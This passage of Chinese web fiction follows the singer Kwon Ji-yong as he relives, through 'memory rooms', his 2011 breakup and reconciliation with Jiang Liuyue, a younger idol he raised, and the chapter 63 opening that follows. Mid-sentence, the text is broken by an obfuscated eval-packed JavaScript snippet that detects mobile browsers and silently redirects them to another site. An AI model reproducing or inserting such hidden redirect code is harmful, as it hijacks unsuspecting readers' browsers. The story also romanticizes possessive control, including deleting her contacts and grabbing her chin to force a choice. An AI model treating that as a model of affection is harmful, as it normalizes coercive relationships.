江留月爱他,比他渴求的那种爱意还要浓烈、真诚的爱他。 他却只觉得恐惧和痛苦。 人要是能失忆就好了,人要是真的能回到过去就好了,他很想冲出去问那个来自未来的自己要如何 和过去对话。 可是,那个年轻的傲慢的权志龙,真的会相信吗? 大约是不会的。 江留月太会忍,太会演了。 她可以面对讨厌的前辈也露出笑容,可以别人说了冒犯的话也装作听不见,可以面对喜欢的人也说 出‘哥你怎么不去见你女朋友’这种话,也可以刚和乔娜吵架完,哭得撕心裂肺转眼就在记者 问‘有没有什么要跟父母说’的时候露出甜甜的笑容说希望妈妈注意身体。 “你就实话实说不行吗?明明就对你不好,为什么不哭着告状呢?” 权志龙问道:“也跟哥哥们说吧,说不喜欢回家,说爸爸妈妈对你不好,至少要说这种话,难道你担心,哥哥们会不站在你这边吗?” 江留月摇了摇头:“不,我知道哥哥们一定会站在我这边,所以才不能说啊。” “……为什么?” “因为我不想被用同情的眼神看待。而且,哥哥们和父母关系都很好很幸福吧,所以经常在我面前 跟爸爸妈妈打电话,伯父伯母们也经常来宿舍和后台探班,每次来了之后都会摸我的头,跟我说很 多话,这个瞬间,我一直都觉得很幸福。”江留月看着权志龙,她漂亮的、黑白分明的眸子里没有 一丝怨恨的痕迹: “如果知道我的家庭很痛苦,哥哥们会不忍心这样做,会觉得这种相处是对我的伤害,伯母她们也 是,要怎么和我的妈妈相处呢,也不是什么能训斥指责的立场,关系变得尴尬的话,如果被记者或 者粉丝们知道了,又会传出很不像话的新闻。” “哥哥们对我很好,伯母们也是,我们每次见面,我都觉得很高兴,也觉得很幸福。” “我希望哥哥们能经常向我这样炫耀幸福的人生。” “就算那样幸福的家庭不属于我,我也觉得那些瞬间很暖和。” 权志龙只觉得呼吸不畅。 如果真的觉得别人的幸福让你觉得很开心的话,塔伊,你就不会总是偷偷躲出去,总是悄悄地用羡 慕的眼神从镜子里偷看了吧。 不会总是在父母们跟你说话的时候,局促紧张的不知道要怎么回答他们询问你父母近况的问题了 吧。 “你也不能这样一直忍着……” 权志龙想要说些什么,却又觉得无力。 “说出了又怎么样呢。” 江留月似乎意识到了他的痛苦,她用小手拍了拍权志龙的手臂当做安慰,脸上的笑容也很无奈: “哥哥,这个世界上,没有人能判父母的罪。” 偷窃、抢夺、诈骗、伤害、杀人、纵火…… 犯错的人总是会受到法律的制裁,因为当人或者财物受到损失的时候,他们总是有证据来诉诸法 律。 但是没有人可以判大喊着‘这都是因为爱你才这样’的父母的罪。 就算她哭着带着伤口去找权志龙,就算她将这一切闹上新闻,哪怕录下乔娜对她的折磨公诸于世, 她能面对的也只有短暂的同情和漫长的审判。 “把我的痛苦大声喊出去,除了让更多的人痛苦之外,没有任何作用。” 江留月摸了摸自己的胸口,她对着权志龙笑了笑说道:“所以,我就忍一忍好了。” “没关系的,哥哥,别担心。” “我一直都很擅长忍耐。” 权志龙并没有得到安慰,他只是更加的痛苦,没有什么比眼睁睁看着他心爱的小孩备受折磨却无法 伸手保护更无力的痛苦了。 他一次次的去翻动自己的回忆,想知道自己到底有没有在哪个瞬间,察觉到了她的痛苦。 好像是有的。 他能察觉到江留月情绪低落,她会默不作声的坐在他的旁边,肉眼可见的情绪低迷,有时候眼睛也 是红红的。 但她太好哄了,只要轻声问两句,她就会说一个不像话的理由,只要摸摸头,拿出一粒糖果放在她 的嘴里,她就会破涕为笑。 “我想一辈子都在志龙哥身边生活,想要难受的时候就可以跑到他的身边去,志龙哥从来不会对我 不耐烦,他会摸我的头,给我糖吃,我说我睡不着,他还会唱摇篮曲给我听。” 江留月总会有很闹人的时候。 一直忍耐的人,总会有趋近于阈值的时候,满溢的情绪无法找到出口就会反馈到身体上,她会发 烧,也可能会流鼻血,也可能吃不下去饭或者无法睡着,没完没了的做噩梦。 她病殃殃的看着急得团团转的权志龙,软乎乎的说想听他唱催眠曲。 权志龙只好耐着性子给她唱,江留月好容易闭上了眼睛,过了几分钟,又忽然睁开眼睛,看着权志 龙喊了一声: “妈妈。” “乱叫什么,臭丫头。” 头发刚剃了个凶巴巴的莫西干的‘权志龙妈妈’闻言顿感荒谬,伸手没好气的扒拉她的脑袋,然后顺势揉了揉她的头发:“你到底睡不睡,不睡就别占着工作室的沙发。” 江留月赶紧闭上眼睛,嘴角忍不住勾出笑容。 快要满溢的情绪轻飘飘的消散,被夜风一下子吹走了。 “志龙哥又像妈妈,又像爸爸,大部分时候又是哥哥,真好啊。” 江留月睡在自己的床上,对着空气中自言自语。 她知道,‘哥哥’应该在某个地方听她诉说。 她蹭了蹭枕头,并不知道‘哥哥’就坐在她的床边,用修长的手指轻轻的抚摸她的头发,用淡色的 瞳孔静静地看着她。 这是权志龙从不知道的江留月,偷偷喜欢着他,偷偷的觉得幸福,也觉得难过的江留月。 “真好啊,志龙哥在我身边的时候。” “我像个有爸爸妈妈疼也有哥哥爱的小孩。” “我能不能永远待在他身边?” “我好喜欢他,哥哥,我真的很喜欢这个人,喜欢拉着他的手,喜欢他的肩膀,也喜欢他的眼睛, 志龙哥的眼睛真漂亮啊,他不凶的时候最好了。” “……凶的时候也很好。” “我都喜欢。” “志龙哥能不能再多喜欢我一点呢?我希望他不要对我发那么多脾气,再温柔一点就好了……嗯……做艺人 也挺好的,至少志龙哥短时间内不会结婚,女朋友们也很讨厌他忙,所以都很匆忙的分手了,不然 我一直都觉得胸口很闷,很有负罪感,像个冒名顶替的小偷,总是害怕被谁抓到。” “哥哥。” 江留月都快要睡着了,她哼哼唧唧的说道:“我真的不能喜欢那个人吗?” “上周日的时候,我把钥匙锁在了屋子里,穿着睡衣躲在楼梯间,明明可以打给经纪人哥哥或者 cody姐姐,却不知道怎么的打给了志龙哥。” “志龙哥真的来了,他冲到安全楼梯的时候,看起来很生气,我却一点都不害怕。” “我只想冲过去抱住他。” “……我怎么跟个傻子一样。” “我不应该这么贪心的。” 江留月快要睡着了,她还记得含含糊糊的说:“……我下次会忍住的。” 权志龙沉默的抚摸着她的头发,最终什么都没有说,只是低下头亲了亲她的脸颊。 他的眼睛很烫很红,但眼泪几乎流不出来了。 他是从2011年的房间过来的,在那个房间里,他试图阻止,却没能阻止成功。 权志龙一直都对江留月没什么信心,他们确认关系本就是权志龙半哄半骗,总归是自己一手养大的 小孩,权志龙还有点道德的底线,他一直努力克制着自己将两个人的肢体接触控制在接吻上没有更 进一步,他想,至少要等到江留月20岁之后,她得真的想清楚了,两个人才能走到最后一步。 他却高估了自己的忍耐力,在得到江留月男朋友这个身份之后,本就泛滥的爱意和占有欲日益疯 狂,他几乎是按捺不住想要公开两个人的关系,总是忍不住贴着她,亲亲脸颊摸摸耳朵,总是因为 压抑的情感而变本加厉的控制她的生活。 那时候也是权志龙最一帆风顺的时候,09年抄袭风波对他造成的冲击早就过去,他的SOLO成绩一骑 绝尘,之后2010年日本发展也算顺利,2011年的专辑更是带领团队再攀新高,不管走到哪里,他接 受的都是溢美之词和狂热的追捧。 那个时候,权志龙总觉得未来就和他脑子里勾画的蓝本一样,他想要的没有不能得到的,他甚至嚣 张到在综艺上直接公开自己求婚歌曲,得意洋洋炫耀自己五年之后就会有妻子和孩子,就差没有 把‘我在很幸福的恋爱中’写到脸上了。 与此相反的是江留月近乎冷静的退避,她一直在努力拉开和他在公众面前的关系,偏偏又被他三言 两语挤到墙角,她气得一个劲哭,权志龙却只觉得委屈:“我明明就是你的男朋友,为什么不能公 开呢?” 江留月嘴唇都在发抖:“可是……我、我不想……” 权志龙以前不懂,为什么那么渴望得到爱得到家的江留月会那么激烈的抗拒公开这件事情。 一定是因为不爱他。 一定是因为本能的抗拒。 一定是因为她变成熟了,所以清醒了,想要摆脱他。 消极扭曲的想法缠绕着权志龙,他总是忍不住要试探江留月的态度,他故意去夜店,故意接别人的 纸条,故意夸奖别的女孩,试图在江留月的表情中窥探到她吃醋、难过,试图逼迫江留月想要抓紧 他,想要公开的心。 但他失败了。 江留月虽然总是很伤心,总是在两个人相处的时候委屈的掉泪,却对于公开的事情,一直都坚决的 抗拒,甚至越来越讨厌他约束她,提到她。 两个人的关系很快发展成为激烈的对抗,终于爆发在江留月发现权志龙删掉她在人气歌谣加的男性艺人的电话那天。 “哥哥你为什么要这样做,我要怎么跟人家解释啊!” 江留月气得眼泪都流出来了。 权志龙比她生气多了,他近乎冰冷的问:“一个男人的电话有什么了不起?他能给你什么?塔伊 啊?” 江留月瞪大了了眼睛:“……什、什么?” “他能给你什么啊,塔伊?你没有必要去加别的男人啊,你想要的一切哥哥都可以给你,到底有什 么不足,让你会需要跟别的男人联系?” “你想什么,塔伊,你只要说,我都会给你,别看别的男人,只看着我,不行吗?” 权志龙捧着她的脸,看着那双心碎的眼睛,他心里闪过隐约的疼痛,但嫉妒就像是一条毒蛇啃咬他 的心。 他难以启齿,这是因为他的恐惧。 他害怕江留月去接触别的男人,害怕江留月会对别人心动,他对江留月的好,并非其他男人都做不 到,只是没有机会罢了。 这孩子越长越是美丽,觊觎她的人总是伺机而动,她大概不知道自己一个笑容一个眼神,都能让男人们为她疯狂。 “只看着哥,好不好,塔伊?” 江留月看着他,只是在流泪,好一会儿,才委屈的说道:“哥也没有只看着我……你也能和别的女 人聊天,为什么我不可以!” 权志龙慌张了一瞬,嘴硬道:“那、那是工作……” 江留月哇哇大哭:“我也是工作啊!我、我只是很想去那个田园综艺玩,前辈说可以帮忙问问看, 我也只是想聊一些工作,为什么我不可以,为什么不相信我……” 她大哭的原因是因为,权志龙和别的女人聊天,她其实也吃醋,但她也知道,权志龙有太多艺术 家、模特朋友,还有很多歌手朋友需要聊创作,这样的圈子里想要隔绝异性往来,实在不太可能。 所以她其实从来没和权志龙为这个吵过,她的本意也不是要和男人加聊天来刺激权志龙,她真的也 只是在聊工作罢了,权志龙却疑神疑鬼的说她不应该和男人联系,她根本受不了这样的指控。 权志龙却完全误会了,他潜意识总觉得,这会是江留月离开他的开端,所以根本没察觉到她的情绪 崩溃,而是立刻哄道:“你想去那个综艺我可以找人安排呀宝贝,哥向你保证,立刻找人去问作家 们好不好……别哭了,别哭了,哥不该凶你。” 江留月愣了一下,她的重点完全被忽略,却又不知道怎么把话题拉回来,急得声音都结巴了: “我、我不要、不要你安排……我不……你删我电话……我现在怎么跟人家解释……” 明明是自己主动问了加的,现在聊几句把人给删了,江留月都不知道怎么面对人家。 “你让人家怎么看我……” 江留月更委屈了。 “那种家伙的看法有什么重要的……塔伊啊?你不用在意那种人啊。” 权志龙已经完全跑偏,他焦虑于江留月在乎一个男性对她的看法,而江留月着急的是这样显得自己 很没礼貌。 “我当然在意啊!哥你到底在干嘛!!!!我是人不是你养的小猫小狗,我也有社交圈,我也要在 乎别人对我的看法啊,我也是个艺人,我以后也要工作啊……为什么总是要搞成这样,我又不是你 的附属品……” 江留月彻底崩溃了,她急得满面通红,哭得一个劲儿咳嗽,权志龙不停的哄她说爱她,就是不跟她 正面对话。 江留月嚎啕大哭,一边哭一边说讨厌他,这一下就戳到权志龙的痛点。 “你讨厌我……那你喜欢谁?” 权志龙气急了:“那个被删掉的家伙吗!?” 江留月呼哧呼哧的喘着气:“喜欢谁都可以,就是不喜欢你!我讨厌你!我讨厌志龙哥!你是个坏 人……你这个坏人!!!” 听到她说这句话的瞬间,权志龙有一种恼羞成怒的怨气涌了上来,仿佛他每日都提心吊胆的事情突 然变成真的一样,他索性破罐子破摔,语气冷冰冰的问道: “那你要跟这个坏人分手,去找好人吗?” “塔伊,你现在是个成年人了,哥就干脆的问你好了,既然你觉得我是个坏人,那你是继续跟我这 个坏人在一起,还是和我这个坏人分开,去找好人?” 江留月愣住了。 她呆呆地看着权志龙,然后整个人都变慌了,眼泪从她的眼眶里滚落下来,她看起来无措又可怜。 “说话。” 权志龙逼问道:“你是跟我这个坏人在一起,还是去找别的好人?” 他的眼神和表情都太骇人了,江留月被吓得一下子屏住了呼吸,她瑟瑟发抖的样子让权志龙心中涌出疲倦和难以言说的情感。 本就是他的强求。 看看这孩子害怕的样子,会是面对心上人的反应吗? 简直像是一只害怕被主人抛弃的小狗。 这种感情,再怎么勉强,也是不可能变成爱情的。 也许是他应该放手。 “哥哥……” 江留月哑着嗓子,哆哆嗦嗦的试图开口。 “算了。” 权志龙却打断了她。 他漂亮的琥珀色瞳孔静静的看着她,她满是泪痕的小脸,红肿的眼睛,带着恐惧的眼神。 权志龙觉得自己做错了。 他不该如此的,这孩子在和他交往之前,从来不用这种恐惧的眼神看着他,再这样下去,他膨胀的 占有欲和偏执,早晚会毁了她。 “走吧,塔伊。” 权志龙冷淡的说道,他尽量让自己的声音不要发抖,他不知道自己会不会后悔,但,在这一刻,他 知道。 如果不在这个时候放走她,他就真的永远都不会放手了。 哭喊、哀求、恐惧、怨恨、毁灭。 他都不想放手,这种粘稠、幽深的仿佛沼泽地的感情,会毁了他耗尽心血栽培的玫瑰花。 “我们分手吧。” “和我这种坏人分开之后,你就去找个好人,过自己想过的幸福人生吧。” 江留月怔怔的看着他,她想说什么,却慌乱的四处张望,然后看向他,眼泪大颗大颗的从眼眶里滚 落。 权志龙强行让自己别开目光,他怕自己下一秒就要抓住她,告诉她永远别想离开他,她就是他的所 有物。 这是错的,是坏的,他得给这孩子后悔和后退的机会。 现在哭一次,总比以后后悔想要逃跑,却被他拽着不死不休强。 权志龙垂下眼睛,他只觉得时间过得很漫长,直到听见了门关上的声音。 江留月没有哭着说不要分手,她就像是得到了求之不得的赦免,几乎是迫不及待的离开了,她纷乱的脚步声告诉权志龙,她甚至是跑着离开的。 权志龙把那个房间砸的稀烂,他看不见,来自未来的自己站在自己面前,露出了疲惫而绝望的表 情。 他试图对话,却张了张嘴,什么都没说出口。 错过了就是错过了。 这个世界上,最脆弱的,就是那滚烫的真心,掉落在地上的瞬间。 “……好搞笑。” 权志龙发出叹息,他低下头,把脸埋在怀里的人肩膀上,江留月被他折腾坏了,含糊的发出声音, 他亲吻着她的耳朵和脸颊: “只是吵次架,我们竟然分开了那么久。” “塔伊,哥还以为真的要失去你了。” 他更紧的抱住江留月,紧得对方都有些疼痛了也舍不得放手,权志龙害怕一睁开眼睛,就发现这只 是一场梦。 “噩梦结束了,塔伊。” “明天、后天、以后……都会是好梦的,塔伊。” 说实话,他现在也觉得自己在做梦。 明明分手期间,江留月一直在躲着他,他都觉得完蛋了的时候,江留月又忽然跑出来扑进了他的怀 里。 ……说起来。 灾难有时候怎么不是福气呢? 权志龙和江留月分手了整整五个月,直到2011年的‘大麻事件’爆发。 这件事情其实六月份察觉到不对劲儿之后,权志龙就隐约有所预感,10月份调查后舆论爆发,他其 实没有想象中的那么脆弱崩溃,反而感到‘果然如此’。 他当然知道韩国舆论不会轻易放过他,但他并不是故意犯错,积极地寻找证据公开并立刻抓住获得 国际奖项的风口扭转舆论、火速回归压制大众反应…… 新闻爆出来的时候,YG的会议都不知道开了几轮,除了被杨贤硕刻薄的语言刺得浑身难受之外,权志龙反而有一种即将迎战惊涛骇浪时隐约的兴奋。 此时的江留月正在国外散心,她接了几个国内的综艺回来录制,录制完之后顺势去早就想去的景点 旅了个游,权志龙和她闹分手的事情整个YG都知道,因此权志龙出事儿的事情,也没人敢告诉她。 结果她是看新闻才知道的。 她收拾行李的时候手都在抖,好几下都在原地打转,最终她放弃了收拾行李,只是戴上了口罩揣上 护照就要往外走。 权志龙就在这个时候推门而入。 他是来阻止她的。 尽管权志龙知道,这是已经成事实的过去,他也没办法控制自己的脚步。 江留月看到他,愣了一下,然后下意识的双手合十,先胆怯的道歉:“哥、哥哥,对不起……” 她尽量让自己不要哭:“我、我要回去……那个人需要我……” “他才不需要你。” 权志龙冷淡的说道,他说的是真的,这个时候,权志龙反而是最不会倒下的人,他得紧绷着面对接 下来的无数挑战,那口气反而不会松下来。 “……才分手多久啊,你记不住教训吗?” 权志龙哑着嗓子问道。 “你现在回去的话,之前那些痛苦又算什么啊。” 他这句话说完,江留月就忍不住目光变得闪躲起来。 权志龙以前也不懂。 他和江留月自2009年确认关系到2011年之间,其实吵架吵的并不多,江留月很好哄,很多矛盾没到 吵架的地步就消弭了,而且他们工作都很忙,见面都是缝里插针,宝贵的时间还不够腻歪,很多气 本来要生,在看到对方的时候也消散了。 他就说了一次分手,结果他们就真的分手了。 凭什么!? 权志龙一直很不解,但他也不敢直接问江留月,这件事情直到多年后都是他心里的一个不解之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176988|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谜。 直到,他进入了江留月的房间,看到了她的过去,了解到了她的真心,才明白,当时他所不理解的 行为背后,到底是什么意思。 为什么江留月会不吃醋,为什么江留月不在乎他和别的女性出去,为什么江留月不喜欢被管着生活 和工作,为什么江留月听到分手之后就立刻接受。 因为,这就是他,是他权志龙,在过去的岁月里,教给江留月的。 他在和别人聊起女友的时候,和前女友分手然后吐槽对方过于敏感,不理解艺人工作特殊性的时 候,他在跟朋友们喊冤自己去夜店真的只是去放松的时候,在他和朋友谈笑说‘有着自己人生目 标,有着完整自我的女人才会吸引我’的时候,在他工作时挂掉前女友电话吐槽说‘成年人的恋爱 为什么不能干脆利落的结束,本来分开之后还能当朋友,这样纠缠我连工作都不敢对接了’的时候…… 这些时候,江留月就在他的身边,她或认真或迷茫的看着他,她是一块空白的海绵,完全无意识的 吸收着这些,将他说的话都听进去了。 当她的暗恋被察觉,当她忽然成了权志龙的女朋友的时候,她一定是很珍惜这段感情,所以很小心 的记着他的忌讳,很努力克制着自己的吃醋、坏情绪,很小心的规避着他们之间的坏结局。 比起分手,她更害怕失去他。 干脆利落的分手的话,是不是至少还能做朋友做前后辈做兄妹? “哥哥,哥哥,我要怎么做才好啊……志龙哥会和我成为陌生人吗?” 江留月回到家之后一直很焦虑很害怕,她一边哭一边在房间里团团转,她不知道‘哥哥’在什么地 方,只能抽噎着试图摸索到‘哥哥’所在的方位:“我不想跟他当陌生人……可是我没有纠缠…… 所以……应该可以吧……” “可是我不想分手。” 她委屈的抽噎着:“我是有些生气,但是,但是……志龙哥为什么那么生气,是因为突然不喜欢我 了吗?还是因为我说他是坏人……?是因为我说了讨厌他……?可、可是……可是我只是、我只是 气不过……” 她想着无数种坏可能,在自己的身上找问题,把自己弄得混乱不堪,最后只是不停的抽泣。 这里是2011年的倒数第二个房间,权志龙知道下个房间一定是和好,所以此时的他也只能束手无策 的待在她身旁,看着她自言自语的忏悔。 江留月每次情绪过于激烈的时候都会发烧,这次也不例外,她半夜就烧得迷糊了,开始胡言乱语。 一会是中文,一会是韩语,权志龙却都听懂了。 她一直在哭着道歉。 “哥哥对不起,那不是我的真心话。” 她哭着哭着又说:“爸爸对不起,我会更努力的,不要赶走我。” 可能烧的太厉害了,她浑身都痛,又哭着喊疼喊妈妈,她嗓子都哑了,说的话逐渐无法分辨,模模 糊糊只剩下:“妈妈、妈妈,我好疼,救救我。” 权志龙不过是个影子,无法碰到她的身体,急得发疯也没有用,尽管知道这只是记忆,江留月不会 在这里出事,但看到她满脸通红说胡话的样子,权志龙依然觉得心都要碎了。 “哥哥,哥哥。” 江留月迷迷糊糊的叫着,手在空中挥了几下,终于没力气了。 她呜呜的哽咽着:“你出来抱抱我好不好。” 权志龙不知道怎么办才好,他只是一个虚影,只能努力的尝试碰触,却怎么都无法让她感应到自 己。 江留月哭了一会儿,自己忽然爬起来,从床尾抓来了一个权志龙之前在游乐场给她抓的娃娃,她整 个人都埋在娃娃的怀里,手在空中摸索,像是在摸什么人的脸。 权志龙蹲在床边,江留月的手指穿透他的脸。 她什么都摸不到,最后手没力气了,只能搭在床边。 她通红的眼睛看着空空的房间,眼泪像是怎么都流不尽一样。 “哥哥……” 江留月嗓子哑得太厉害,权志龙听不清楚,只好凑过去听,凑得很近,近到江留月鼻尖上的泪珠穿 透了他影子的脸颊。 他听清楚了,江留月在说: “你也不要我了是不是。” 权志龙心口似被人捅了一刀,反复拖动,直到拖出心脏的碎片。 众神见证。 那是他自认忠贞,实则眼瞎耳聋的真心。 神啊。 神。 你为什么要这样对她。 为什么要让她流离失所,又让她遇见我这样的男人。 为什么让她交付出真心,又让它碎在我看不见的地方。 为什么现在才让我知道,那个晚上她流了那么多那么多的眼泪。 甚至。 她流泪的地方,就在同一栋大楼的宿舍里。 那么近的距离,为什么我听不见她的哀鸣和哭喊? 那么近的距离,为什么我伸出手也无法为她擦去眼泪呢? “塔伊。” 权志龙深吸了口气,他作为灵魂体存在的时候,泪水在流出眼眶的时候就消弭在空中。 明明触碰不到,他还是轻轻地,轻轻地用手摸着江留月的头发。 “哥哥在这。” “哥哥怎么会不要你呢,别胡思乱想了。” “我明知道你在这个世界上只有我,我怎么会不要你呢。” 他想要去抚平江留月皱起来的眉头,却怎么都碰触不到。 “对不起,塔伊,对不起,对不起……” 权志龙无措的重复着,他将自己的脸贴在江留月的脸上:“我要怎么跟你道歉你才能原谅我啊,塔 伊。” 过于激烈的情感波动让权志龙短暂失去了意识,在一片白色的雪地中醒来之后,他几乎是连滚带爬 的冲过去打开了2011年的最后一个房间。 他把江留月堵在了酒店房间里,她正要拿着护照回到2011年的自己身边。 权志龙知道,这里只是江留月的过去,他根本无法改变已经发生的事情,但此时此刻,他看着江留 月不过五个月就瘦了一圈的苍白小脸,和那双漂亮的眼睛里沸腾的火焰,甚至开始怨恨自己。 江留月有些胆怯的看着他,她因为不听哥哥的劝告,执意爱上那个人又变成现在狼狈的样子而感到 羞愧。 “别去找他……塔伊啊,别去找他,你现在去找他的话,就又会纠缠在一起了不是吗?” 权志龙说完这句话之后,就挫败的停了下来,他捂着脸,开始哽咽。 “你会受伤的,塔伊。” “你要是又一个人躲着流眼泪,怎么办啊塔伊。” 江留月沉默了一会儿,她伸出手为权志龙擦掉眼泪,权志龙透过自己的泪光,看到了自己20岁的珍 宝。 她是那么的年轻漂亮,眼睛里永远是亮晶晶的颜色,这里面到底是全宇宙的星星,还是全宇宙的泪 水啊。 “哥哥,我能感觉到。” 江留月认真的说道:“志龙哥在等我,他真的需要我。” “我总觉得,能听见他喊我的声音。” 权志龙顿住了。 他说不出话来,只是捂着脸,开始止不住的落泪。 出事之后,大家都似乎很小心他的情绪,因为大家太小心了,他只能装作若无其事的样子,开会的 时候提出这样的构想,甚至还能笑出来。 他不能垮,他不能泄一口气,他不能露出一点‘我不行’的表情。 所以,只是笑着,说没关系,说我们还行,说一定会有办法的。 周围的人,有落井下石的,也有雪中送炭的,他每次和人对话,都要小心判断,对方到底是来杀他 的,还是来救他的。 他下令所有人不许告诉江留月这件事情,他从社媒上看到她拍下故乡景点的照片,看到她脸上露出 的笑容。 哪怕一天也好,他不想弄坏她的心情。 已经因为他流了很多泪水,怎么能还毁掉她的笑容呢。 塔伊。 再见面的时候,哥真的是个彻底的坏人了。 你会怎么审判我? 权志龙日复一日的想着这个问题,新闻爆出之后,他的手机一直没有收到江留月的信息,人人都说 YG要完了,他想着这孩子会不会顺势留在中国了呢? 窗外一直下着很大很大的雨,雷声和雨声都让人感到寒意,简直要将这个世界吞没。 权志龙看着窗外的雨幕,然后看到有人拨开雨幕,朝着他跑来。 “志龙哥!!!” 清脆的声音,总是带着笑容的脸庞,朝着他奔跑的时候,从不犹豫的脚步。 江留月浑身都湿了,权志龙一把将扑到他怀里的人抱紧的时候,感到她浑身都是冰冷的。 他近乎恍惚的看着江留月,没有一丝一毫的实感。 她湿润的头发编成的麻花辫落在他的胸口,像是一条绳索。 是将他从深渊里拉出来。 还是送他上绞刑架? 权志龙意识恍惚,他急促的喘息着,自己都不知道自己已经涌出了泪水,他本该强撑着说自己没事 儿,却不知道为什么涌出无限的委屈和脆弱。 “别哭呀,志龙哥。” 江留月冰凉的小手为他擦去泪水,她很认真的说道:“我在这呢,已经没关系了,我去揍那个坏蛋 一顿给你出气!” 她说完,就抿着嘴唇观察他的反应,见权志龙没有笑,她又有点尴尬:“啊……不、不好笑是不 是,我、我只是……呃……我、我们这样……” 江留月猛然意识到自己因为情绪激动而扑上来,两个人抱在一起的样子太过暧昧了,她开始手忙脚 乱的挣扎,却被权志龙猛然攥住了手腕。 “你为什么会来?” 权志龙呼吸都不畅通了:“……一直躲着我的人,为什么要来?” “你同情我吗?塔伊?可怜我吗?还是……你本来就是这样心软?” “你知道你出现的话,我会对你做什么吗?塔伊?” 他那双总是温柔的淡色眸子里,染透了偏执的深色,江留月一时之间竟被摄住,动弹不得。 她有些慌乱,眼珠子四处乱瞟。 权志龙掐着她的下巴,强迫她看向自己。 “塔伊。” 权志龙微微喘息着,他听到自己狂乱的心跳和冷静到可怕的声音:“这不是玩笑话,所以,你仔细 听好,这一生,我也只给你选一次。” “你是要作为我的妹妹、后辈、朋友的身份这样生活一辈子。” “还是要作为我的恋人、妻子,死了之后也和我埋在一起?” 他的声音其实已经在发抖了,这不是个好时间,好场合,但权志龙顾不上了。 他需要一个答案,一个判决。 江留月看着他,她的眼睛里闪过了犹豫,那一瞬间,权志龙的心跌到了谷底,他为自己的卑劣感到耻辱,于是深吸一口气, 他松开了江留月的下巴,自己胡乱的吸气想要平复情绪和呼吸,却怎么都做不到,他应该坦然的接 受江留月的选择,但他却情绪崩溃的大哭了起来,近乎咆哮的对她吼道: “所以你为什么要来啊!!!!” 【因为,我一直听到志龙哥在呼唤我的声音。】 但当时,江留月没有做出回答。 她只是叹了口气,像是想明白了什么一样,又像是下定了什么决心。 她上前一步,看着捂着脸绝望哭泣的权志龙,伸出了自己的手轻轻的拉开权志龙的手,她看到权志龙的指甲已经被咬到露出红色的血肉,她用自己的指腹轻轻地揉了揉。 然后,她柔软的温暖的小手抚摸上权志龙染满泪痕的脸,轻轻地拨开上面被泪水浸透的发丝,露出 那张清秀又锋利的脸庞。 “因为要当志龙哥的妻子。” “所以我来了。” 她的语气里,甚至带上了一点轻快的笑意,然后,她闭上眼睛,吻上了权志龙的嘴唇。 权志龙怔了片刻,然后他无法克制的,浑身都颤抖了一下,他像是终于找到了灵魂的落脚点,伸手扣住她的后脑勺,激烈而贪婪的回吻住了她。 他吻技一向很好,今天却混乱不堪,他止不住的发抖,一手扣着江留月的后脑勺,一手攥着她的 腰,生怕这个人是什么幻影泡沫,瞬间就会消失。 吻了不知道多久,江留月脑子都混乱了,趴在他的怀里一个劲儿喘气,权志龙附在她的耳边,近乎 着魔的叫着她的名字,不知道叫了多少次,他才长舒一口气,将人紧紧地抱在怀里,像个小孩子一 样哽咽起来。 “死了之后也和我埋在一起吧,塔伊。” 权志龙一边落泪,一边许下近乎诅咒的承诺: “只要是你在的地方,塔伊。” “梦也好,黄泉也好,哥都会追上来的。” 两个人拥抱在一起的样子,如梦幻影。 权志龙静静的看着,他摸了摸口袋,那里面还是自己在2014年现实世界里塞进去的东西,里面有一 包烟。 他给自己点了一根,慢慢的吐出一口烟雾。 从那之后,他们的确没有分开了,江留月一直都在他的身边,按照计划,他们本该在明后几年公开 然后结婚。 他们结婚之后,应该会有可爱的孩子,随着孩子的长大,他们也会老去,然后停止呼吸。 谁先死这件事情,权志龙并无异议,他可以先走,在黄泉上等着她,但想也知道那孩子会哭得非常伤心,说不定黄泉路上见到的时候也会哭哭啼啼的跑过来扑到怀里一边哭一边骂他是个坏人。 如果江留月先走……?他倒是能容许她在历经美满的人生之后躺在温暖的床上,握着他的手慢慢睡 去,他会给她亲手建造可爱好看的坟墓,然后在旁边预留好自己的位置,最后以最快的步伐赶上 去。 无论何时,权志龙都一直这样想的,2008年,他认清楚自己的心并付诸行动的时候,2009年,他第 一次和她确认关系的时候,2011年的此时此刻,他对她许下承诺的时候。 以及,之后的每一天,他都如此相信着。 所以,怎么可能呢。 塔伊。 我们怎么会分开八年呢。 开玩笑。 我可是离开了你,一天都活不下去的男人啊。 怎么能离开你之后还若无其事的活着呢? “我们之间发生了什么呢,塔伊?” 权志龙轻声问道,他总算是,对未来的一切产生了掺杂着恐惧和绝望的实感: “我怎么会把你弄丢呢?” 63.宿命论(上) 63.宿命论(上) 权志龙站在‘房间’的门口很久,终于承认,自己没有推门而入的勇气。 真奇怪,明明他们最激烈的争吵和分手都已经参与过了,为什么偏偏没有勇气推开11年之后的房间门呢? 不管怎么想,从11年11月他们和好之后,接下来都是幸福的好日子,尽管有小吵小闹,但都无伤大 雅,忙碌的工作里他们珍惜每次见面的时间,有时候想要吵架,偏偏看见对方的瞬间,就忍不住像是傻子一样的笑起来。 明明是幸福的时间,为什么会没有勇气推开? 权志龙来回踌躇,他之前面对未来的自己的时候那莽夫一样的自信感忽然就荡然无存,他试图从记 忆的角落里抠出来他在12年开始和江留月的每次争吵,但无论哪一次,都似乎很平静的结束了。 他绞尽脑汁想不到自己到底能做错什么让两个人分开,更想不出,如果自己犯错了,又为什么能忍 那么多年不去找她复合。 虽然看起来自尊心很强烈,实际上也自尊心很强烈的权志龙深知自己在面对江留月的时候是个什么 没出息的样子。 就算是吵架和冷战也绝对坚持不了三天,一旦那孩子开始不回复消息和电话就会千方百计的出现在 她的面前,宁可面对面的争吵也绝对不能忍受面对冰冷的手机上没有感情的文字,他不信自己能那 么狠毒的对待江留月和自己。 他怎么想都得不到答案,只好抱着试一试的心情呼唤了另一个自己。 这种呼唤的方式简直是无师自通,他好像只要集中精神就能能够感受到对方的存在,然后毫不费力 的往对方的脑子里疯狂塞信息。 显然,‘权志龙’无法拒收他的信息,很快,他得到了回应。 